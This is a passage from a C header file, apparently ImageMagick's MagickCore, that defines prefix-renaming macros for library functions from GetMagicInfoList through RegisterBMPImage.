PrependMagickMethod(GetMagicInfoList) #define GetMagicInfo PrependMagickMethod(GetMagicInfo) #define GetMagickAdjoin PrependMagickMethod(GetMagickAdjoin) #define GetMagickBlobSupport PrependMagickMethod(GetMagickBlobSupport) #define GetMagickCopyright PrependMagickMethod(GetMagickCopyright) #define GetMagickCoreSignature PrependMagickMethod(GetMagickCoreSignature) #define GetMagickDelegates PrependMagickMethod(GetMagickDelegates) #define GetMagickDescription PrependMagickMethod(GetMagickDescription) #define GetMagickEndianSupport PrependMagickMethod(GetMagickEndianSupport) #define GetMagickFeatures PrependMagickMethod(GetMagickFeatures) #define GetMagickGeometry PrependMagickMethod(GetMagickGeometry) #define GetMagickHomeURL PrependMagickMethod(GetMagickHomeURL) #define GetMagickInfoList PrependMagickMethod(GetMagickInfoList) #define GetMagickInfo PrependMagickMethod(GetMagickInfo) #define GetMagickLicense PrependMagickMethod(GetMagickLicense) #define GetMagickList PrependMagickMethod(GetMagickList) #define GetMagickMemoryMethods PrependMagickMethod(GetMagickMemoryMethods) #define GetMagickMimeType PrependMagickMethod(GetMagickMimeType) #define GetMagickOpenCLEnvParam PrependMagickMethod(GetMagickOpenCLEnvParam) #define GetMagickPackageName PrependMagickMethod(GetMagickPackageName) #define GetMagickPageSize PrependMagickMethod(GetMagickPageSize) #define GetMagickPixelIntensity PrependMagickMethod(GetMagickPixelIntensity) #define GetMagickPixelPacket PrependMagickMethod(GetMagickPixelPacket) #define GetMagickPrecision PrependMagickMethod(GetMagickPrecision) #define GetMagickProperty PrependMagickMethod(GetMagickProperty) #define GetMagickQuantumDepth PrependMagickMethod(GetMagickQuantumDepth) #define GetMagickQuantumRange PrependMagickMethod(GetMagickQuantumRange) #define GetMagickRawSupport PrependMagickMethod(GetMagickRawSupport) #define GetMagickRegistry PrependMagickMethod(GetMagickRegistry) #define GetMagickReleaseDate PrependMagickMethod(GetMagickReleaseDate) #define GetMagickResourceLimit PrependMagickMethod(GetMagickResourceLimit) #define GetMagickResource PrependMagickMethod(GetMagickResource) #define GetMagickSeekableStream PrependMagickMethod(GetMagickSeekableStream) #define GetMagickThreadSupport PrependMagickMethod(GetMagickThreadSupport) #define GetMagickThreadValue PrependMagickMethod(GetMagickThreadValue) #define GetMagickTime PrependMagickMethod(GetMagickTime) #define GetMagickToken PrependMagickMethod(GetMagickToken) #define GetMagickVersion PrependMagickMethod(GetMagickVersion) #define GetMagicList PrependMagickMethod(GetMagicList) #define GetMagicName PrependMagickMethod(GetMagicName) #define GetMatrixColumns PrependMagickMethod(GetMatrixColumns) #define GetMatrixElement PrependMagickMethod(GetMatrixElement) #define GetMatrixRows PrependMagickMethod(GetMatrixRows) #define GetMaxMemoryRequest PrependMagickMethod(GetMaxMemoryRequest) #define GetMimeDescription PrependMagickMethod(GetMimeDescription) #define GetMimeInfoList PrependMagickMethod(GetMimeInfoList) #define GetMimeInfo PrependMagickMethod(GetMimeInfo) #define GetMimeList PrependMagickMethod(GetMimeList) #define GetMimeType PrependMagickMethod(GetMimeType) #define GetMonitorHandler PrependMagickMethod(GetMonitorHandler) #define GetMontageInfo PrependMagickMethod(GetMontageInfo) #define GetMultilineTypeMetrics PrependMagickMethod(GetMultilineTypeMetrics) #define GetNextImageArtifact PrependMagickMethod(GetNextImageArtifact) #define GetNextImageAttribute PrependMagickMethod(GetNextImageAttribute) #define GetNextImageInList PrependMagickMethod(GetNextImageInList) #define GetNextImageOption PrependMagickMethod(GetNextImageOption) #define GetNextImage PrependMagickMethod(GetNextImage) #define GetNextImageProfile PrependMagickMethod(GetNextImageProfile) #define GetNextImageProperty PrependMagickMethod(GetNextImageProperty) #define GetNextImageRegistry PrependMagickMethod(GetNextImageRegistry) #define GetNextKeyInHashmap PrependMagickMethod(GetNextKeyInHashmap) #define GetNextKeyInSplayTree PrependMagickMethod(GetNextKeyInSplayTree) #define GetNextToken PrependMagickMethod(GetNextToken) #define GetNextValueInHashmap PrependMagickMethod(GetNextValueInHashmap) #define GetNextValueInLinkedList PrependMagickMethod(GetNextValueInLinkedList) #define GetNextValueInSplayTree PrependMagickMethod(GetNextValueInSplayTree) #define GetNextXMLTreeTag PrependMagickMethod(GetNextXMLTreeTag) #define GetNumberColors PrependMagickMethod(GetNumberColors) #define GetNumberOfElementsInLinkedList PrependMagickMethod(GetNumberOfElementsInLinkedList) #define GetNumberOfEntriesInHashmap PrependMagickMethod(GetNumberOfEntriesInHashmap) #define GetNumberOfNodesInSplayTree PrependMagickMethod(GetNumberOfNodesInSplayTree) #define GetNumberScenes PrependMagickMethod(GetNumberScenes) #define GetOneAuthenticPixel PrependMagickMethod(GetOneAuthenticPixel) #define GetOneCacheViewAuthenticPixel PrependMagickMethod(GetOneCacheViewAuthenticPixel) #define GetOneCacheViewVirtualMethodPixel PrependMagickMethod(GetOneCacheViewVirtualMethodPixel) #define GetOneCacheViewVirtualPixel PrependMagickMethod(GetOneCacheViewVirtualPixel) #define GetOnePixel PrependMagickMethod(GetOnePixel) #define GetOneVirtualMagickPixel PrependMagickMethod(GetOneVirtualMagickPixel) #define GetOneVirtualMethodPixel PrependMagickMethod(GetOneVirtualMethodPixel) #define GetOneVirtualPixel PrependMagickMethod(GetOneVirtualPixel) #define GetOptimalKernelWidth1D PrependMagickMethod(GetOptimalKernelWidth1D) #define GetOptimalKernelWidth2D PrependMagickMethod(GetOptimalKernelWidth2D) #define GetOptimalKernelWidth PrependMagickMethod(GetOptimalKernelWidth) #define GetPageGeometry PrependMagickMethod(GetPageGeometry) #define GetPathAttributes PrependMagickMethod(GetPathAttributes) #define GetPathComponent PrependMagickMethod(GetPathComponent) #define GetPathComponents PrependMagickMethod(GetPathComponents) #define GetPathTemplate PrependMagickMethod(GetPathTemplate) #define GetPixelCacheChannels PrependMagickMethod(GetPixelCacheChannels) #define GetPixelCacheColorspace PrependMagickMethod(GetPixelCacheColorspace) #define GetPixelCacheFilename PrependMagickMethod(GetPixelCacheFilename) #define GetPixelCacheMethods PrependMagickMethod(GetPixelCacheMethods) #define GetPixelCacheNexusExtent PrependMagickMethod(GetPixelCacheNexusExtent) #define GetPixelCachePixels PrependMagickMethod(GetPixelCachePixels) #define GetPixelCacheStorageClass PrependMagickMethod(GetPixelCacheStorageClass) #define GetPixelCacheTileSize PrependMagickMethod(GetPixelCacheTileSize) #define GetPixelCacheType PrependMagickMethod(GetPixelCacheType) #define GetPixelCacheVirtualMethod PrependMagickMethod(GetPixelCacheVirtualMethod) #define GetPixelIntensity PrependMagickMethod(GetPixelIntensity) #define GetPixels PrependMagickMethod(GetPixels) #define GetPolicyInfoList PrependMagickMethod(GetPolicyInfoList) #define GetPolicyList PrependMagickMethod(GetPolicyList) #define GetPolicyValue PrependMagickMethod(GetPolicyValue) #define GetPreviousImageInList PrependMagickMethod(GetPreviousImageInList) #define GetPreviousImage PrependMagickMethod(GetPreviousImage) #define GetPseudoRandomValue PrependMagickMethod(GetPseudoRandomValue) #define GetQuantizeInfo PrependMagickMethod(GetQuantizeInfo) #define GetQuantumEndian PrependMagickMethod(GetQuantumEndian) #define GetQuantumExtent PrependMagickMethod(GetQuantumExtent) #define GetQuantumFormat PrependMagickMethod(GetQuantumFormat) #define GetQuantumInfo PrependMagickMethod(GetQuantumInfo) #define GetQuantumPixels PrependMagickMethod(GetQuantumPixels) #define GetQuantumType PrependMagickMethod(GetQuantumType) #define GetRandomInfoNormalize PrependMagickMethod(GetRandomInfoNormalize) #define GetRandomInfoSeed PrependMagickMethod(GetRandomInfoSeed) #define GetRandomKey PrependMagickMethod(GetRandomKey) #define GetRandomSecretKey PrependMagickMethod(GetRandomSecretKey) #define GetRandomValue PrependMagickMethod(GetRandomValue) #define GetResizeFilterBlur PrependMagickMethod(GetResizeFilterBlur) #define GetResizeFilterCoefficient PrependMagickMethod(GetResizeFilterCoefficient) #define GetResizeFilterScale PrependMagickMethod(GetResizeFilterScale) #define GetResizeFilterSupport PrependMagickMethod(GetResizeFilterSupport) #define GetResizeFilterWeightingType PrependMagickMethod(GetResizeFilterWeightingType) #define GetResizeFilterWeight PrependMagickMethod(GetResizeFilterWeight) #define GetResizeFilterWindowSupport PrependMagickMethod(GetResizeFilterWindowSupport) #define GetResizeFilterWindowWeightingType PrependMagickMethod(GetResizeFilterWindowWeightingType) #define GetRootValueFromSplayTree PrependMagickMethod(GetRootValueFromSplayTree) #define GetSignatureBlocksize PrependMagickMethod(GetSignatureBlocksize) #define GetSignatureDigest PrependMagickMethod(GetSignatureDigest) #define GetSignatureDigestsize PrependMagickMethod(GetSignatureDigestsize) #define GetStreamInfoClientData PrependMagickMethod(GetStreamInfoClientData) #define GetStringInfoDatum PrependMagickMethod(GetStringInfoDatum) #define GetStringInfoLength PrependMagickMethod(GetStringInfoLength) #define GetStringInfoName PrependMagickMethod(GetStringInfoName) #define GetStringInfoPath PrependMagickMethod(GetStringInfoPath) #define GetThresholdMapFile PrependMagickMethod(GetThresholdMapFile) #define GetThresholdMap PrependMagickMethod(GetThresholdMap) #define GetTimerInfo PrependMagickMethod(GetTimerInfo) #define GetTypeInfoByFamily PrependMagickMethod(GetTypeInfoByFamily) #define GetTypeInfoList PrependMagickMethod(GetTypeInfoList) #define GetTypeInfo PrependMagickMethod(GetTypeInfo) #define GetTypeList PrependMagickMethod(GetTypeList) #define GetTypeMetrics PrependMagickMethod(GetTypeMetrics) #define GetUserTime PrependMagickMethod(GetUserTime) #define GetValueFromHashmap PrependMagickMethod(GetValueFromHashmap) #define GetValueFromLinkedList PrependMagickMethod(GetValueFromLinkedList) #define GetValueFromSplayTree PrependMagickMethod(GetValueFromSplayTree) #define GetVirtualIndexesFromNexus PrependMagickMethod(GetVirtualIndexesFromNexus) #define GetVirtualIndexQueue PrependMagickMethod(GetVirtualIndexQueue) #define GetVirtualMemoryBlob PrependMagickMethod(GetVirtualMemoryBlob) #define GetVirtualPixelCacheNexus PrependMagickMethod(GetVirtualPixelCacheNexus) #define GetVirtualPixelQueue PrependMagickMethod(GetVirtualPixelQueue) #define GetVirtualPixelsNexus PrependMagickMethod(GetVirtualPixelsNexus) #define GetVirtualPixels PrependMagickMethod(GetVirtualPixels) #define GetXMLTreeAttribute PrependMagickMethod(GetXMLTreeAttribute) #define GetXMLTreeAttributes PrependMagickMethod(GetXMLTreeAttributes) #define GetXMLTreeChild PrependMagickMethod(GetXMLTreeChild) #define GetXMLTreeContent PrependMagickMethod(GetXMLTreeContent) #define GetXMLTreeOrdered PrependMagickMethod(GetXMLTreeOrdered) #define GetXMLTreePath PrependMagickMethod(GetXMLTreePath) #define GetXMLTreeProcessingInstructions PrependMagickMethod(GetXMLTreeProcessingInstructions) #define GetXMLTreeSibling PrependMagickMethod(GetXMLTreeSibling) #define GetXMLTreeTag PrependMagickMethod(GetXMLTreeTag) #define GlobExpression PrependMagickMethod(GlobExpression) #define GradientImage PrependMagickMethod(GradientImage) #define GravityAdjustGeometry PrependMagickMethod(GravityAdjustGeometry) #define GrayscaleImage PrependMagickMethod(GrayscaleImage) #define HaldClutImageChannel PrependMagickMethod(HaldClutImageChannel) #define HaldClutImage PrependMagickMethod(HaldClutImage) #define HashPointerType PrependMagickMethod(HashPointerType) #define HashStringInfoType PrependMagickMethod(HashStringInfoType) #define HashStringType PrependMagickMethod(HashStringType) #define HoughLineImage PrependMagickMethod(HoughLineImage) #define HSLTransform PrependMagickMethod(HSLTransform) #define HuffmanDecodeImage PrependMagickMethod(HuffmanDecodeImage) #define HuffmanEncodeImage PrependMagickMethod(HuffmanEncodeImage) #define IdentifyImageGray PrependMagickMethod(IdentifyImageGray) #define IdentifyImageMonochrome PrependMagickMethod(IdentifyImageMonochrome) #define IdentifyImage PrependMagickMethod(IdentifyImage) #define IdentifyImageType PrependMagickMethod(IdentifyImageType) #define IdentifyPaletteImage PrependMagickMethod(IdentifyPaletteImage) #define IdentityAffine PrependMagickMethod(IdentityAffine) #define ImageListToArray PrependMagickMethod(ImageListToArray) #define ImagesToBlob PrependMagickMethod(ImagesToBlob) #define ImageToBlob PrependMagickMethod(ImageToBlob) #define ImageToFile PrependMagickMethod(ImageToFile) #define ImplodeImage PrependMagickMethod(ImplodeImage) #define ImportImagePixels PrependMagickMethod(ImportImagePixels) #define ImportQuantumPixels PrependMagickMethod(ImportQuantumPixels) #define InheritException PrependMagickMethod(InheritException) #define InitializeExceptionInfo PrependMagickMethod(InitializeExceptionInfo) #define InitializeMagick PrependMagickMethod(InitializeMagick) #define InitializeSignature PrependMagickMethod(InitializeSignature) #define InitImageMagickOpenCL PrependMagickMethod(InitImageMagickOpenCL) #define InitOpenCLEnv PrependMagickMethod(InitOpenCLEnv) #define InjectImageBlob PrependMagickMethod(InjectImageBlob) #define InsertImageInList PrependMagickMethod(InsertImageInList) #define InsertTagIntoXMLTree PrependMagickMethod(InsertTagIntoXMLTree) #define InsertValueInLinkedList PrependMagickMethod(InsertValueInLinkedList) #define InsertValueInSortedLinkedList PrependMagickMethod(InsertValueInSortedLinkedList) #define IntegralRotateImage PrependMagickMethod(IntegralRotateImage) #define InterpolateMagickPixelPacket PrependMagickMethod(InterpolateMagickPixelPacket) #define InterpolatePixelColor PrependMagickMethod(InterpolatePixelColor) #define InterpolativeResizeImage PrependMagickMethod(InterpolativeResizeImage) #define InterpretImageAttributes PrependMagickMethod(InterpretImageAttributes) #define InterpretImageFilename PrependMagickMethod(InterpretImageFilename) #define InterpretImageProperties PrependMagickMethod(InterpretImageProperties) #define InterpretLocaleValue PrependMagickMethod(InterpretLocaleValue) #define InterpretSiPrefixValue PrependMagickMethod(InterpretSiPrefixValue) #define InverseFourierTransformImage PrependMagickMethod(InverseFourierTransformImage) #define InversesRGBCompandor PrependMagickMethod(InversesRGBCompandor) #define InvokeDelegate PrependMagickMethod(InvokeDelegate) #define InvokeDynamicImageFilter PrependMagickMethod(InvokeDynamicImageFilter) #define IsBlobExempt PrependMagickMethod(IsBlobExempt) #define IsBlobSeekable PrependMagickMethod(IsBlobSeekable) #define IsBlobTemporary PrependMagickMethod(IsBlobTemporary) #define IsColorSimilar PrependMagickMethod(IsColorSimilar) #define IsCommandOption PrependMagickMethod(IsCommandOption) #define IsEventLogging PrependMagickMethod(IsEventLogging) #define IsGeometry PrependMagickMethod(IsGeometry) #define IsGlob PrependMagickMethod(IsGlob) #define IsGrayImage PrependMagickMethod(IsGrayImage) #define IsHashmapEmpty PrependMagickMethod(IsHashmapEmpty) #define IsHighDynamicRangeImage PrependMagickMethod(IsHighDynamicRangeImage) #define IsHistogramImage PrependMagickMethod(IsHistogramImage) #define IsImageObject PrependMagickMethod(IsImageObject) #define IsImagesEqual PrependMagickMethod(IsImagesEqual) #define IsImageSimilar PrependMagickMethod(IsImageSimilar) #define IsImageView PrependMagickMethod(IsImageView) #define IsIntensitySimilar PrependMagickMethod(IsIntensitySimilar) #define IsLinkedListEmpty PrependMagickMethod(IsLinkedListEmpty) #define IsMagickColorSimilar PrependMagickMethod(IsMagickColorSimilar) #define IsMagickConflict PrependMagickMethod(IsMagickConflict) #define IsMagickCoreInstantiated PrependMagickMethod(IsMagickCoreInstantiated) #define IsMagickInstantiated PrependMagickMethod(IsMagickInstantiated) #define IsMagickTrue PrependMagickMethod(IsMagickTrue) #define IsMonochromeImage PrependMagickMethod(IsMonochromeImage) #define IsOpacitySimilar PrependMagickMethod(IsOpacitySimilar) #define IsOpaqueImage PrependMagickMethod(IsOpaqueImage) #define IsOptionMember PrependMagickMethod(IsOptionMember) #define IsPaletteImage PrependMagickMethod(IsPaletteImage) #define IsPathAccessible PrependMagickMethod(IsPathAccessible) #define IsRightsAuthorized PrependMagickMethod(IsRightsAuthorized) #define IsSceneGeometry PrependMagickMethod(IsSceneGeometry) #define IsStringNotFalse PrependMagickMethod(IsStringNotFalse) #define IsStringTrue PrependMagickMethod(IsStringTrue) #define IsSubimage PrependMagickMethod(IsSubimage) #define IsTaintImage PrependMagickMethod(IsTaintImage) #define KuwaharaImageChannel PrependMagickMethod(KuwaharaImageChannel) #define KuwaharaImage PrependMagickMethod(KuwaharaImage) #define LeastSquaresAddTerms PrependMagickMethod(LeastSquaresAddTerms) #define LevelColorsImageChannel PrependMagickMethod(LevelColorsImageChannel) #define LevelColorsImage PrependMagickMethod(LevelColorsImage) #define LevelImageChannel PrependMagickMethod(LevelImageChannel) #define LevelImageColors PrependMagickMethod(LevelImageColors) #define LevelImage PrependMagickMethod(LevelImage) #define LevelizeImageChannel PrependMagickMethod(LevelizeImageChannel) #define LevelizeImage PrependMagickMethod(LevelizeImage) #define LiberateMemory PrependMagickMethod(LiberateMemory) #define LiberateSemaphoreInfo PrependMagickMethod(LiberateSemaphoreInfo) #define LinearStretchImage PrependMagickMethod(LinearStretchImage) #define LinkedListToArray PrependMagickMethod(LinkedListToArray) #define LiquidRescaleImage PrependMagickMethod(LiquidRescaleImage) #define ListCoderInfo PrependMagickMethod(ListCoderInfo) #define ListColorInfo PrependMagickMethod(ListColorInfo) #define ListCommandOptions PrependMagickMethod(ListCommandOptions) #define ListConfigureInfo PrependMagickMethod(ListConfigureInfo) #define ListDelegateInfo PrependMagickMethod(ListDelegateInfo) #define ListFiles PrependMagickMethod(ListFiles) #define ListLocaleInfo PrependMagickMethod(ListLocaleInfo) #define ListLogInfo PrependMagickMethod(ListLogInfo) #define ListMagicInfo PrependMagickMethod(ListMagicInfo) #define ListMagickInfo PrependMagickMethod(ListMagickInfo) #define ListMagickResourceInfo PrependMagickMethod(ListMagickResourceInfo) #define ListMagickVersion PrependMagickMethod(ListMagickVersion) #define ListMimeInfo PrependMagickMethod(ListMimeInfo) #define ListModuleInfo PrependMagickMethod(ListModuleInfo) #define ListPolicyInfo PrependMagickMethod(ListPolicyInfo) #define ListThresholdMapFile PrependMagickMethod(ListThresholdMapFile) #define ListThresholdMaps PrependMagickMethod(ListThresholdMaps) #define ListTypeInfo PrependMagickMethod(ListTypeInfo) #define LoadFontConfigFonts PrependMagickMethod(LoadFontConfigFonts) #define LoadMimeLists PrependMagickMethod(LoadMimeLists) #define LocalContrastImage PrependMagickMethod(LocalContrastImage) #define LocaleCompare PrependMagickMethod(LocaleCompare) #define LocaleComponentGenesis PrependMagickMethod(LocaleComponentGenesis) #define LocaleComponentTerminus PrependMagickMethod(LocaleComponentTerminus) #define LocaleLowercase PrependMagickMethod(LocaleLowercase) #define LocaleLower PrependMagickMethod(LocaleLower) #define LocaleNCompare PrependMagickMethod(LocaleNCompare) #define LocaleUppercase PrependMagickMethod(LocaleUppercase) #define LocaleUpper PrependMagickMethod(LocaleUpper) #define LockSemaphoreInfo PrependMagickMethod(LockSemaphoreInfo) #define LogComponentGenesis PrependMagickMethod(LogComponentGenesis) #define LogComponentTerminus PrependMagickMethod(LogComponentTerminus) #define LogMagickEventList PrependMagickMethod(LogMagickEventList) #define LogMagickEvent PrependMagickMethod(LogMagickEvent) #define LZWEncodeImage PrependMagickMethod(LZWEncodeImage) #define MagicComponentGenesis PrependMagickMethod(MagicComponentGenesis) #define MagicComponentTerminus PrependMagickMethod(MagicComponentTerminus) #define MagickComponentGenesis PrependMagickMethod(MagickComponentGenesis) #define MagickComponentTerminus PrependMagickMethod(MagickComponentTerminus) #define MagickCoreGenesis PrependMagickMethod(MagickCoreGenesis) #define MagickCoreTerminus PrependMagickMethod(MagickCoreTerminus) #define MagickCreateThreadKey PrependMagickMethod(MagickCreateThreadKey) #define MagickDelay PrependMagickMethod(MagickDelay) #define MagickDeleteThreadKey PrependMagickMethod(MagickDeleteThreadKey) #define MagickGetThreadValue PrependMagickMethod(MagickGetThreadValue) #define MagickIncarnate PrependMagickMethod(MagickIncarnate) #define MagickMonitor PrependMagickMethod(MagickMonitor) #define MagickSetThreadValue PrependMagickMethod(MagickSetThreadValue) #define MagickToMime PrependMagickMethod(MagickToMime) #define MagnifyImage PrependMagickMethod(MagnifyImage) #define MapBlob PrependMagickMethod(MapBlob) #define MapImage PrependMagickMethod(MapImage) #define MapImages PrependMagickMethod(MapImages) #define MatrixToImage PrependMagickMethod(MatrixToImage) #define MatteFloodfillImage PrependMagickMethod(MatteFloodfillImage) #define MaximumImages PrependMagickMethod(MaximumImages) #define MeanShiftImage PrependMagickMethod(MeanShiftImage) #define MedianFilterImage PrependMagickMethod(MedianFilterImage) #define MergeImageLayers PrependMagickMethod(MergeImageLayers) #define MimeComponentGenesis PrependMagickMethod(MimeComponentGenesis) #define MimeComponentTerminus PrependMagickMethod(MimeComponentTerminus) #define MinifyImage PrependMagickMethod(MinifyImage) #define MinimumImages PrependMagickMethod(MinimumImages) #define MinMaxStretchImage PrependMagickMethod(MinMaxStretchImage) #define ModeImage PrependMagickMethod(ModeImage) #define ModifyImage PrependMagickMethod(ModifyImage) #define ModulateImage PrependMagickMethod(ModulateImage) #define MonitorComponentGenesis PrependMagickMethod(MonitorComponentGenesis) #define MonitorComponentTerminus PrependMagickMethod(MonitorComponentTerminus) #define MontageImageList PrependMagickMethod(MontageImageList) #define MontageImages PrependMagickMethod(MontageImages) #define MorphImages PrependMagickMethod(MorphImages) #define MorphologyApply PrependMagickMethod(MorphologyApply) #define MorphologyImageChannel PrependMagickMethod(MorphologyImageChannel) #define MorphologyImage PrependMagickMethod(MorphologyImage) #define MosaicImages PrependMagickMethod(MosaicImages) #define MotionBlurImageChannel PrependMagickMethod(MotionBlurImageChannel) #define MotionBlurImage PrependMagickMethod(MotionBlurImage) #define MSBOrderLong PrependMagickMethod(MSBOrderLong) #define MSBOrderShort PrependMagickMethod(MSBOrderShort) #define MultilineCensus PrependMagickMethod(MultilineCensus) #define NegateImageChannel PrependMagickMethod(NegateImageChannel) #define NegateImage PrependMagickMethod(NegateImage) #define NewHashmap PrependMagickMethod(NewHashmap) #define NewImageList PrependMagickMethod(NewImageList) #define NewImageView PrependMagickMethod(NewImageView) #define NewImageViewRegion PrependMagickMethod(NewImageViewRegion) #define NewLinkedList PrependMagickMethod(NewLinkedList) #define NewMagickImage PrependMagickMethod(NewMagickImage) #define NewSplayTree PrependMagickMethod(NewSplayTree) #define NewXMLTree PrependMagickMethod(NewXMLTree) #define NewXMLTreeTag PrependMagickMethod(NewXMLTreeTag) #define NormalizeImageChannel PrependMagickMethod(NormalizeImageChannel) #define NormalizeImage PrependMagickMethod(NormalizeImage) #define NullMatrix PrependMagickMethod(NullMatrix) #define OilPaintImage PrependMagickMethod(OilPaintImage) #define OpaqueImage PrependMagickMethod(OpaqueImage) #define OpaquePaintImageChannel PrependMagickMethod(OpaquePaintImageChannel) #define OpaquePaintImage PrependMagickMethod(OpaquePaintImage) #define OpenBlob PrependMagickMethod(OpenBlob) #define OpenCacheView PrependMagickMethod(OpenCacheView) #define OpenDistributePixelCache PrependMagickMethod(OpenDistributePixelCache) #define OpenMagickStream PrependMagickMethod(OpenMagickStream) #define OpenStream PrependMagickMethod(OpenStream) #define OptimizeImageLayers PrependMagickMethod(OptimizeImageLayers) #define OptimizeImageTransparency PrependMagickMethod(OptimizeImageTransparency) #define OptimizePlusImageLayers PrependMagickMethod(OptimizePlusImageLayers) #define OrderedDitherImageChannel PrependMagickMethod(OrderedDitherImageChannel) #define OrderedDitherImage PrependMagickMethod(OrderedDitherImage) #define OrderedPosterizeImageChannel PrependMagickMethod(OrderedPosterizeImageChannel) #define OrderedPosterizeImage PrependMagickMethod(OrderedPosterizeImage) #define PackbitsEncodeImage PrependMagickMethod(PackbitsEncodeImage) #define PaintFloodfillImage PrependMagickMethod(PaintFloodfillImage) #define PaintOpaqueImageChannel PrependMagickMethod(PaintOpaqueImageChannel) #define PaintOpaqueImage PrependMagickMethod(PaintOpaqueImage) #define PaintTransparentImage PrependMagickMethod(PaintTransparentImage) #define ParseAbsoluteGeometry PrependMagickMethod(ParseAbsoluteGeometry) #define ParseAffineGeometry PrependMagickMethod(ParseAffineGeometry) #define ParseChannelOption PrependMagickMethod(ParseChannelOption) #define ParseCommandOption PrependMagickMethod(ParseCommandOption) #define ParseGeometry PrependMagickMethod(ParseGeometry) #define ParseGravityGeometry PrependMagickMethod(ParseGravityGeometry) #define ParseImageGeometry PrependMagickMethod(ParseImageGeometry) #define ParseMetaGeometry PrependMagickMethod(ParseMetaGeometry) #define ParsePageGeometry PrependMagickMethod(ParsePageGeometry) #define ParseRegionGeometry PrependMagickMethod(ParseRegionGeometry) #define ParseSizeGeometry PrependMagickMethod(ParseSizeGeometry) #define PasskeyDecipherImage PrependMagickMethod(PasskeyDecipherImage) #define PasskeyEncipherImage PrependMagickMethod(PasskeyEncipherImage) #define PerceptibleImageChannel PrependMagickMethod(PerceptibleImageChannel) #define PerceptibleImage PrependMagickMethod(PerceptibleImage) #define PersistPixelCache PrependMagickMethod(PersistPixelCache) #define PingBlob PrependMagickMethod(PingBlob) #define PingImage PrependMagickMethod(PingImage) #define PingImages PrependMagickMethod(PingImages) #define PlasmaImage PrependMagickMethod(PlasmaImage) #define PlasmaImageProxy PrependMagickMethod(PlasmaImageProxy) #define PolaroidImage PrependMagickMethod(PolaroidImage) #define PolicyComponentGenesis PrependMagickMethod(PolicyComponentGenesis) #define PolicyComponentTerminus PrependMagickMethod(PolicyComponentTerminus) #define PolynomialImageChannel PrependMagickMethod(PolynomialImageChannel) #define PolynomialImage PrependMagickMethod(PolynomialImage) #define PopImageList PrependMagickMethod(PopImageList) #define PopImagePixels PrependMagickMethod(PopImagePixels) #define PosterizeImageChannel PrependMagickMethod(PosterizeImageChannel) #define PosterizeImage PrependMagickMethod(PosterizeImage) #define PostscriptGeometry PrependMagickMethod(PostscriptGeometry) #define PrependImageToList PrependMagickMethod(PrependImageToList) #define PreviewImage PrependMagickMethod(PreviewImage) #define PrintStringInfo PrependMagickMethod(PrintStringInfo) #define process_message PrependMagickMethod(process_message) #define ProfileImage PrependMagickMethod(ProfileImage) #define PruneTagFromXMLTree PrependMagickMethod(PruneTagFromXMLTree) #define PushImageList PrependMagickMethod(PushImageList) #define PushImagePixels PrependMagickMethod(PushImagePixels) #define PutEntryInHashmap PrependMagickMethod(PutEntryInHashmap) #define QuantizationError PrependMagickMethod(QuantizationError) #define QuantizeImage PrependMagickMethod(QuantizeImage) #define QuantizeImages PrependMagickMethod(QuantizeImages) #define QueryColorCompliance PrependMagickMethod(QueryColorCompliance) #define QueryColorDatabase PrependMagickMethod(QueryColorDatabase) #define QueryColorname PrependMagickMethod(QueryColorname) #define QueryMagickColorCompliance PrependMagickMethod(QueryMagickColorCompliance) #define QueryMagickColorname PrependMagickMethod(QueryMagickColorname) #define QueryMagickColor PrependMagickMethod(QueryMagickColor) #define QueueAuthenticPixelCacheNexus PrependMagickMethod(QueueAuthenticPixelCacheNexus) #define QueueAuthenticPixel PrependMagickMethod(QueueAuthenticPixel) #define QueueAuthenticPixels PrependMagickMethod(QueueAuthenticPixels) #define QueueCacheViewAuthenticPixels PrependMagickMethod(QueueCacheViewAuthenticPixels) #define RadialBlurImageChannel PrependMagickMethod(RadialBlurImageChannel) #define RadialBlurImage PrependMagickMethod(RadialBlurImage) #define RaiseImage PrependMagickMethod(RaiseImage) #define RandomChannelThresholdImage PrependMagickMethod(RandomChannelThresholdImage) #define RandomComponentGenesis PrependMagickMethod(RandomComponentGenesis) #define RandomComponentTerminus PrependMagickMethod(RandomComponentTerminus) #define RandomThresholdImageChannel PrependMagickMethod(RandomThresholdImageChannel) #define RandomThresholdImage PrependMagickMethod(RandomThresholdImage) #define ReacquireMemory PrependMagickMethod(ReacquireMemory) #define ReadBlobByte PrependMagickMethod(ReadBlobByte) #define ReadBlobDouble PrependMagickMethod(ReadBlobDouble) #define ReadBlobFloat PrependMagickMethod(ReadBlobFloat) #define ReadBlobLongLong PrependMagickMethod(ReadBlobLongLong) #define ReadBlobLong PrependMagickMethod(ReadBlobLong) #define ReadBlobLSBLong PrependMagickMethod(ReadBlobLSBLong) #define ReadBlobLSBShort PrependMagickMethod(ReadBlobLSBShort) #define ReadBlobLSBSignedLong PrependMagickMethod(ReadBlobLSBSignedLong) #define ReadBlobLSBSignedShort PrependMagickMethod(ReadBlobLSBSignedShort) #define ReadBlobMSBLongLong PrependMagickMethod(ReadBlobMSBLongLong) #define ReadBlobMSBLong PrependMagickMethod(ReadBlobMSBLong) #define ReadBlobMSBShort PrependMagickMethod(ReadBlobMSBShort) #define ReadBlobMSBSignedLong PrependMagickMethod(ReadBlobMSBSignedLong) #define ReadBlobMSBSignedShort PrependMagickMethod(ReadBlobMSBSignedShort) #define ReadBlob PrependMagickMethod(ReadBlob) #define ReadBlobShort PrependMagickMethod(ReadBlobShort) #define ReadBlobSignedLong PrependMagickMethod(ReadBlobSignedLong) #define ReadBlobSignedShort PrependMagickMethod(ReadBlobSignedShort) #define ReadBlobStream PrependMagickMethod(ReadBlobStream) #define ReadBlobString PrependMagickMethod(ReadBlobString) #define ReadDistributePixelCacheIndexes PrependMagickMethod(ReadDistributePixelCacheIndexes) #define ReadDistributePixelCachePixels PrependMagickMethod(ReadDistributePixelCachePixels) #define ReadImage PrependMagickMethod(ReadImage) #define ReadImages PrependMagickMethod(ReadImages) #define ReadInlineImage PrependMagickMethod(ReadInlineImage) #define ReadPSDLayers PrependMagickMethod(ReadPSDLayers) #define ReadStream PrependMagickMethod(ReadStream) #define RecolorImage PrependMagickMethod(RecolorImage) #define ReduceNoiseImage PrependMagickMethod(ReduceNoiseImage) #define ReferenceBlob PrependMagickMethod(ReferenceBlob) #define ReferenceImage PrependMagickMethod(ReferenceImage) #define ReferencePixelCache PrependMagickMethod(ReferencePixelCache) #define RegisterAAIImage PrependMagickMethod(RegisterAAIImage) #define RegisterARTImage PrependMagickMethod(RegisterARTImage) #define RegisterAVSImage PrependMagickMethod(RegisterAVSImage) #define RegisterBGRImage PrependMagickMethod(RegisterBGRImage) #define RegisterBMPImage 